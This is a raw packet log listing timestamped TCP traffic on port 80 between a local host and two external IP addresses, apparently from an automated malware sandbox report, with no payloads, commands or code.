Sep 29, 2024 00:53:24.302386045 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302386999 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302392960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302397966 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302406073 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302408934 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302438974 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302438974 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302536011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302541971 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302547932 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302552938 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302558899 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302565098 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302576065 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302582026 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302587986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302597046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302603006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302603960 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302603960 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302609921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302630901 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302649021 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302655935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302665949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302671909 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302673101 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302673101 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302676916 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302683115 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302692890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302697897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302702904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302707911 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302712917 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302714109 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302717924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302725077 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302747011 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302774906 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302774906 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302932978 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302938938 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302949905 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302961111 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302968979 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302973986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302979946 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302985907 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.302987099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302993059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.302997112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303003073 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303004980 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303004980 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303009033 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303014040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303020000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303034067 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303037882 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303040981 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303050995 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303061008 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303067923 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303072929 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303073883 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303072929 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303078890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303086042 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303092003 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303097010 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303102016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303142071 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303142071 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303169966 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303175926 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303186893 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303193092 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303198099 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303204060 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303214073 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303219080 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303219080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303222895 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303230047 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303235054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303240061 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303240061 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303246975 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303256989 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303256989 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303263903 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303309917 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303309917 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303567886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303572893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303584099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303589106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303600073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303606033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303611994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303617001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303622961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303627968 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303627014 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303634882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303642035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303680897 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303680897 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303693056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303699970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303705931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303710938 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303715944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303721905 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303728104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303740025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303740025 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303745031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303752899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303752899 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303757906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303765059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303781986 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303817034 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303836107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303843021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303853035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303858995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303864002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303874969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303879976 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303880930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303888083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303894997 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303900003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303909063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303910971 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303915024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303939104 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303962946 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.303973913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303980112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303992033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.303997993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304008961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304018021 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304019928 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304025888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304035902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304037094 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304043055 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304049015 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304059982 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304064989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304070950 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304081917 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304086924 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304106951 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.304106951 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.304176092 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.304519892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304527998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304538012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304543018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304548979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304553986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304564953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304570913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304570913 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304577112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304589033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304594040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304600954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304630995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304630995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304630995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304652929 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304657936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304665089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304673910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304680109 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304689884 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304694891 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304697037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304702997 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304706097 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304708958 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304716110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304723024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304728985 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304734945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304776907 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.304776907 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.304791927 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.304800987 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.304805040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304811001 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304816008 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304828882 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304835081 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304840088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304843903 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304846048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304862976 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.304867983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304872036 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304874897 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304882050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304889917 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304893970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304900885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304903030 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304905891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304918051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304924011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304929018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304930925 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304963112 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.304987907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.304994106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305005074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305010080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305013895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305026054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305031061 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.305041075 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305048943 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.305052996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305064917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305079937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.305094004 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.305119038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.305649996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305658102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305668116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305679083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305684090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305690050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305700064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305706024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305711985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305717945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305722952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305728912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305731058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.305774927 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.305789948 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.305792093 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305799007 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305809975 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305814981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305820942 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.305826902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.305839062 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.305845022 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.305845022 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.305851936 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.305857897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.305870056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.305876017 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.305881023 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.305893898 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.305903912 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.305903912 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.305906057 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.305912018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305919886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305931091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305937052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305942059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305944920 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.305952072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305953979 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.305958986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.305970907 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306005955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.306021929 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.306035995 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.306058884 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306066036 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306070089 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306076050 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306081057 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306087017 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306092024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306103945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306108952 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306113958 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306118965 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306118965 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.306118965 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.306130886 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306137085 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306143045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306154013 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306159973 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306164026 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.306185007 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.306226969 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.306938887 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306946039 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306951046 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306961060 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306967020 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306977987 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306982994 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.306988955 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.306993961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307002068 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307008028 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307008982 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.307013035 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307018995 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307048082 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.307048082 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.307068110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307075024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307080030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307085991 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307091951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307102919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307109118 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307112932 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.307112932 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.307121992 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307125092 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307131052 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307132959 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307145119 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.307167053 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.307167053 CEST	49712	80	192.168.2.9	176.113.115.95
